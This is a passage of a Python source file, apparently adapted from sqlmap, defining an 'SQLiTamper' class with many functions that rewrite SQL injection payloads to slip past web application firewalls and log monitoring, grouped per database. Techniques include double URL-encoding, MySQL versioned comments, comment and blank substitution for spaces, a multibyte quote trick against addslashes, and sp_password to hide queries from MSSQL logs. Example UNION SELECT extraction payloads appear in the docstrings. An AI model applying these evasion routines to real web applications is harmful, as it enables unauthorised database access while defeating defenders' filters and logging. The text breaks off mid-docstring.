-
Notifications
You must be signed in to change notification settings - Fork 23
/
tamper.py
1945 lines (1586 loc) · 70.6 KB
/
tamper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import collections
import os
import random
import re
import string
import random
import binascii
import codecs
IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM")
class OrderedSet(collections.MutableSet):
"""
This class defines the set with ordered (as added) items
>>> foo = OrderedSet()
>>> foo.add(1)
>>> foo.add(2)
>>> foo.add(3)
>>> foo.pop()
3
>>> foo.pop()
2
>>> foo.pop()
1
"""
def __init__(self, iterable=None):
self.end = end = []
end += [None, end, end] # sentinel node for doubly linked list
self.map = {} # key --> [key, prev, next]
if iterable is not None:
self |= iterable
def __len__(self):
return len(self.map)
def __contains__(self, key):
return key in self.map
def add(self, value):
if value not in self.map:
end = self.end
curr = end[1]
curr[2] = end[1] = self.map[value] = [value, curr, end]
def discard(self, value):
if value in self.map:
value, prev, next = self.map.pop(value)
prev[2] = next
next[1] = prev
def __iter__(self):
end = self.end
curr = end[2]
while curr is not end:
yield curr[0]
curr = curr[2]
def __reversed__(self):
end = self.end
curr = end[1]
while curr is not end:
yield curr[0]
curr = curr[1]
def pop(self, last=True):
if not self:
raise KeyError('set is empty')
key = self.end[1][0] if last else self.end[2][0]
self.discard(key)
return key
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, list(self))
def __eq__(self, other):
if isinstance(other, OrderedSet):
return len(self) == len(other) and list(self) == list(other)
return set(self) == set(other)
class SQLiTamper():
def __init__(self):
self._All = [self.chardoubleencode, self.versionedmorekeywords, self.versionedkeywords, self.uppercase, self.unmagicquotes, \
self.unionalltounion, self.symboliclogical, self. space2randomblank, self.space2plus, self.space2mysqldash, \
self.space2mysqlblank, self.space2mssqlhash, self.space2mssqlblank, self.space2morehash, self.space2morecomment, \
self.space2hash, self.space2dash, self.space2comment, self.sp_password, self.randomcomments, self.randomcase, self.plus2fnconcat, \
self.plus2concat, self.percentage, self.overlongutf8more, self.overlongutf8, self.multiplespaces, self.modsecurityzeroversioned, \
self.modsecurityversioned, self.lowercase, self.least, self.informationschemacomment, self.ifnull2ifisnull, self.ifnull2casewhenisnull, \
self.htmlencode, self.hex2char, self.halfversionedmorekeywords, self.greatest, self.escapequotes, self.equaltolike, self.concat2concatws, \
self.commentbeforeparentheses, self.commalessmid, self.commalesslimit, self.charunicodeescape, self.charunicodeencode, self.charencode, \
self.bluecoat, self.between, self.appendnullbyte, self.apostrophenullencode, self.apostrophemask, self.e0UNION,
self.misunion, self.schemasplit, self.binary, self.dunion, self.equaltorlike]
self._General = [self.chardoubleencode, self.unmagicquotes, self.unionalltounion, self.symboliclogical, \
self.space2plus, self.randomcomments, self.randomcase, self.overlongutf8more, self.overlongutf8, \
self.multiplespaces, self.htmlencode, self.escapequotes, self.charunicodeescape, self.apostrophenullencode, \
self.apostrophemask, self.between, self.charencode, self.charunicodeencode, self.equaltolike, self.greatest, \
self.ifnull2ifisnull, self.percentage, self.space2randomblank, self.space2comment]
self._MSAccess = [self.appendnullbyte, self.between, self.bluecoat, self.charencode, self.charunicodeencode, self.concat2concatws, \
self.equaltolike, self.greatest, self.halfversionedmorekeywords, self.ifnull2ifisnull, self.modsecurityversioned, \
self.modsecurityzeroversioned, self.multiplespaces, self.percentage, self.randomcase, self.space2comment, self.space2hash, \
self.space2morehash, self.space2mysqldash, self.space2plus, self.space2randomblank, self.unionalltounion, self.unmagicquotes, \
self.versionedkeywords, self.versionedmorekeywords]
self._MSSQL = [self.uppercase, self.space2randomblank, self.space2mysqldash, self.space2mssqlhash, self.space2mssqlblank, \
self.space2dash, self.space2comment, self.sp_password, self.plus2fnconcat, self.plus2concat, self.percentage, \
self.lowercase, self.equaltolike, self.commentbeforeparentheses, self.charunicodeencode, self.charencode, \
self.between, self.greatest, self.multiplespaces, self.randomcase, self.space2plus, self.unionalltounion, \
self.unmagicquotes, self.e0UNION]
self._MySQL = [self.versionedmorekeywords, self.versionedkeywords, self.uppercase, self.space2randomblank, self.space2mysqldash, \
self.space2mysqlblank, self.space2mssqlhash, self.space2morehash, self. space2morecomment, self. space2hash, \
self.space2comment, self.percentage, self.modsecurityzeroversioned, self.modsecurityversioned, self.lowercase, \
self.least, self.informationschemacomment, self.ifnull2ifisnull, self.ifnull2casewhenisnull, self.hex2char, \
self.halfversionedmorekeywords, self.greatest, self.equaltolike, self.concat2concatws, self.commentbeforeparentheses, \
self.commalessmid, self.commalesslimit, self.charunicodeencode, self.charencode, self.bluecoat, self.between, self.multiplespaces, \
self.randomcase, self.space2comment, self.space2plus, self.unionalltounion, self.unmagicquotes, self.e0UNION,
self.misunion, self.schemasplit, self.binary, self.equaltorlike]
self._Oracle = [self.uppercase, self.space2randomblank, self.space2comment, self.lowercase, self.least, self.greatest, \
self.commentbeforeparentheses, self.charencode, self.between, self.equaltolike, self.multiplespaces, \
self.randomcase, self.space2plus, self.unionalltounion, self.unmagicquotes, self.dunion]
self._PostgreSQL= [self.uppercase, self.substring2leftright, self.space2randomblank, self.space2comment, self.percentage, \
self.lowercase, self.least, self.greatest, self.commentbeforeparentheses, self.charunicodeencode, \
self.charencode, self.between, self.equaltolike, self.multiplespaces, self.randomcase, self.space2plus]
self._SAP_MaxDB = [self.ifnull2ifisnull, self.ifnull2casewhenisnull, self.randomcase, self.space2comment, self.space2plus, \
self.unionalltounion, self.unmagicquotes]
self._SQLite = [self.space2dash, self.ifnull2ifisnull, self.ifnull2casewhenisnull, self.multiplespaces, self.randomcase, \
self.space2comment, self.space2plus, self.unionalltounion, self.unmagicquotes]
self.keywords = set(self.getFileItems('keywords.txt'))
self.techniques = {
'All':self._All,
'General':self._General,
'MSAccess':self._MSAccess,
'MSSQL':self._MSSQL,
'MySQL':self._MySQL,
'Oracle':self._Oracle,
'PostgreSQL':self._PostgreSQL,
'SAP_MaxDB':self._SAP_MaxDB,
'SQLite':self._SQLite
}
def randomRange(self, start=0, stop=1000, seed=None):
randint = random.randint
return int(randint(start, stop))
def zeroDepthSearch(self, expression, value):
"""
Searches occurrences of value inside expression at 0-depth level
regarding the parentheses
>>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:]
'FROM DUAL'
>>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:]
',d;e'
"""
retVal = []
depth = 0
for index in xrange(len(expression)):
if expression[index] == '(':
depth += 1
elif expression[index] == ')':
depth -= 1
elif depth == 0:
if value.startswith('[') and value.endswith(']'):
if re.search(value, expression[index:index + 1]):
retVal.append(index)
elif expression[index:index + len(value)] == value:
retVal.append(index)
return retVal
def getOrds(self, value):
"""
Returns ORD(...) representation of provided string value
>>> getOrds(u'fo\\xf6bar')
[102, 111, 246, 98, 97, 114]
>>> getOrds(b"fo\\xc3\\xb6bar")
[102, 111, 195, 182, 98, 97, 114]
"""
return [_ if isinstance(_, int) else ord(_) for _ in value]
def getText(self, value, encoding=None):
"""
Returns textual value of a given value (Note: not necessary Unicode on Python2)
>>> getText(b"foobar")
'foobar'
>>> isinstance(getText(u"fo\\u2299bar"), six.text_type)
True
"""
retVal = value
if isinstance(value, str):
retVal = self.getUnicode(value, encoding)
try:
retVal = str(retVal)
except:
pass
return retVal
def decodeHex(self, value, binary=True):
"""
Returns a decoded representation of provided hexadecimal value
>>> decodeHex("313233") == b"123"
True
>>> decodeHex("313233", binary=False) == u"123"
True
"""
retVal = value
try:
if isinstance(value, str):
value = self.getText(value)
if value.lower().startswith("0x"):
value = value[2:]
try:
retVal = codecs.decode(value, "hex")
except LookupError:
retVal = binascii.unhexlify(value)
if not binary:
retVal = self.getText(retVal)
except:
pass
return retVal
def getUnicode(self, value, encoding=None, noneToNull=False):
"""
Returns the unicode representation of the supplied value
>>> getUnicode('test') == u'test'
True
>>> getUnicode(1) == u'1'
True
"""
if noneToNull and value is None:
return None
if isinstance(value, unicode):
return value
elif isinstance(value, str):
return value.encode('utf-8')
return None
def randomInt(self, length=4, seed=None):
"""
Returns random integer value with provided number of digits
>>> random.seed(0)
>>> self.randomInt(6)
963638
"""
choice = random.choice
return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length)))
def getFileItems(self, filename, commentPrefix='#', lowercase=False, unique=False):
"""
Returns newline delimited items contained inside file
"""
retVal = list()
if filename:
filename = filename.strip('"\'')
try:
with open(filename, 'r') as f:
for line in f:
if commentPrefix:
if line.find(commentPrefix) != -1:
line = line[:line.find(commentPrefix)]
line = line.strip()
if line:
if lowercase:
line = line.lower()
if unique and line in retVal:
continue
if unique:
retVal[line] = True
else:
retVal.append(line)
except (IOError, OSError, MemoryError) as ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file ''" % filename
raise Exception(errMsg)
return retVal if not unique else list(retVal.keys())
def chardoubleencode(self, payload, **kwargs):
"""
Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554)
Notes:
* Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset
>>> tamper('SELECT FIELD FROM%20TABLE')
'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
"""
retVal = payload
if payload:
retVal = ""
i = 0
while i < len(payload):
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += '%%25%s' % payload[i + 1:i + 3]
i += 3
else:
retVal += '%%25%.2X' % ord(payload[i])
i += 1
return retVal
def versionedmorekeywords(self, payload, **kwargs):
"""
Encloses each keyword with (MySQL) versioned comment
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.56, 5.5.11
Notes:
* Useful to bypass several web application firewalls when the
back-end database management system is MySQL
>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
"""
def process(match):
word = match.group('word')
if word.upper() in self.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
return match.group().replace(word, "/*!%s*/" % word)
else:
return match.group()
retVal = payload
if payload:
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
return retVal
def versionedkeywords(self, payload, **kwargs):
"""
Encloses each non-function keyword with (MySQL) versioned comment
Requirement:
* MySQL
Tested against:
* MySQL 4.0.18, 5.1.56, 5.5.11
Notes:
* Useful to bypass several web application firewalls when the
back-end database management system is MySQL
>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
"""
def process(match):
word = match.group('word')
if word.upper() in self.keywords:
return match.group().replace(word, "/*!%s*/" % word)
else:
return match.group()
retVal = payload
if payload:
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal)
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
return retVal
def uppercase(self, payload, **kwargs):
"""
Replaces each keyword character with upper case value (e.g. select -> SELECT)
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
* This tamper script should work against all (?) databases
>>> tamper('insert')
'INSERT'
"""
retVal = payload
if payload:
for match in re.finditer(r"[A-Za-z_]+", retVal):
word = match.group()
if word.upper() in self.keywords:
retVal = retVal.replace(word, word.upper())
return retVal
def unmagicquotes(self, payload, **kwargs):
"""
Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)
Notes:
* Useful for bypassing magic_quotes/addslashes feature
Reference:
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
>>> tamper("1' AND 1=1")
'1%bf%27-- -'
"""
retVal = payload
if payload:
found = False
retVal = ""
for i in xrange(len(payload)):
if payload[i] == '\'' and not found:
retVal += "%bf%27"
found = True
else:
retVal += payload[i]
continue
if found:
_ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
if _ != retVal:
retVal = _
retVal += "-- -"
elif not any(_ in retVal for _ in ('#', '--', '/*')):
retVal += "-- -"
return retVal
def unionalltounion(self, payload, **kwargs):
"""
Replaces instances of UNION ALL SELECT with UNION SELECT counterpart
>>> tamper('-1 UNION ALL SELECT')
'-1 UNION SELECT'
"""
return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload
def symboliclogical(self, payload, **kwargs):
"""
Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)
>>> tamper("1 AND '1'='1")
"1 %26%26 '1'='1"
"""
retVal = payload
if payload:
retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))
return retVal
def substring2leftright(self, payload, **kwargs):
"""
Replaces PostgreSQL SUBSTRING with LEFT and RIGHT
Tested against:
* PostgreSQL 9.6.12
Note:
* Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT)
>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)')
'LEFT((SELECT usename FROM pg_user)::text,1)'
>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)')
'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)'
"""
retVal = payload
if payload:
match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload)
if match:
pos = int(match.group(2))
if pos == 1:
_ = "LEFT(%s,1)" % (match.group(1))
else:
_ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos)
retVal = retVal.replace(match.group(0), _)
return retVal
def space2randomblank(self, payload, **kwargs):
"""
Replaces space character (' ') with a random blank character from a valid set of alternate characters
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass several web application firewalls
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%0Did%0CFROM%0Ausers'
"""
# ASCII table:
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
blanks = ("%09", "%0A", "%0C", "%0D")
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += random.choice(blanks)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == ' ' and not doublequote and not quote:
retVal += random.choice(blanks)
continue
retVal += payload[i]
return retVal
def space2plus(self, payload, **kwargs):
"""
Replaces space character (' ') with plus ('+')
Notes:
* Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
* This tamper script works against all databases
>>> tamper('SELECT id FROM users')
'SELECT+id+FROM+users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "+"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "+"
continue
retVal += payload[i]
return retVal
def space2mysqldash(self, payload, **kwargs):
"""
Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
Requirement:
* MySQL
* MSSQL
Notes:
* Useful to bypass several web application firewalls.
>>> tamper('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
retVal += "--%0A"
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
def space2mysqlblank(self, payload, **kwargs):
"""
Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
Requirement:
* MySQL
Tested against:
* MySQL 5.1
Notes:
* Useful to bypass several web application firewalls
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%A0id%0CFROM%0Dusers'
"""
# ASCII table:
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
# A0 non-breaking space
blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0')
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += random.choice(blanks)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += random.choice(blanks)
continue
retVal += payload[i]
return retVal
def space2mssqlhash(self, payload, **kwargs):
"""
Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
Requirement:
* MSSQL
* MySQL
Notes:
* Useful to bypass several web application firewalls
>>> tamper('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
retVal += "%23%0A"
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
def space2mssqlblank(self, payload, **kwargs):
"""
Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
Notes:
* Useful to bypass several web application firewalls
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%0Did%0DFROM%04users'
"""
# ASCII table:
# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace, end = False, False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += random.choice(blanks)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
end = True
elif payload[i] == " " and not doublequote and not quote:
if end:
retVal += random.choice(blanks[:-1])
else:
retVal += random.choice(blanks)
continue
retVal += payload[i]
return retVal
def space2morehash(self, payload, **kwargs):
"""
Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
Notes:
* Useful to bypass several web application firewalls
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227'
"""
def process(match):
word = match.group('word')
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
if word.upper() in self.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
else:
return match.group()
retVal = ""
if payload:
payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, payload)
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "%%23%s%%0A" % randomStr
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
def space2morecomment(self, payload, **kwargs):
"""
Replaces (MySQL) instances of space character (' ') with comments '/**_**/'
Tested against:
* MySQL 5.0 and 5.5
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**_**/id/**_**/FROM/**_**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**_**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/**_**/"
continue
retVal += payload[i]
return retVal
def space2hash(self, payload, **kwargs):
"""
Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
Notes:
* Useful to bypass several web application firewalls
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "%%23%s%%0A" % randomStr
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
def space2dash(self, payload, **kwargs):
"""
Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
Requirement:
* MSSQL
* SQLite
Notes:
* Useful to bypass several web application firewalls
* Used during the ZeroNights SQL injection challenge,
https://proton.onsec.ru/contest/
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "--%s%%0A" % randomStr
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
def space2comment(self, payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue
retVal += payload[i]
return retVal
def sp_password(self, payload, **kwargs):
"""
Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
Requirement:
* MSSQL
Notes:
* Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
* Reference: http://websec.ca/kb/sql_injection
>>> tamper('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
"""
retVal = ""
if payload:
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")
return retVal
def randomcomments(self, payload, **kwargs):
"""
Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT)
>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'I/**/NS/**/ERT'
"""
retVal = payload
if payload:
for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
word = match.group()
if len(word) < 2:
continue
if word.upper() in self.keywords:
_ = word[0]
for i in xrange(1, len(word) - 1):
_ += "%s%s" % ("/**/" if self.randomRange(0, 1) else "", word[i])
_ += word[-1]
if "/**/" not in _:
index = self.randomRange(1, len(word) - 1)
_ = word[:index] + "/**/" + word[index:]
retVal = retVal.replace(word, _)
return retVal
def randomcase(self, payload, **kwargs):
"""
Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
* SQLite 3
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
* This tamper script should work against all (?) databases
>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'InSeRt'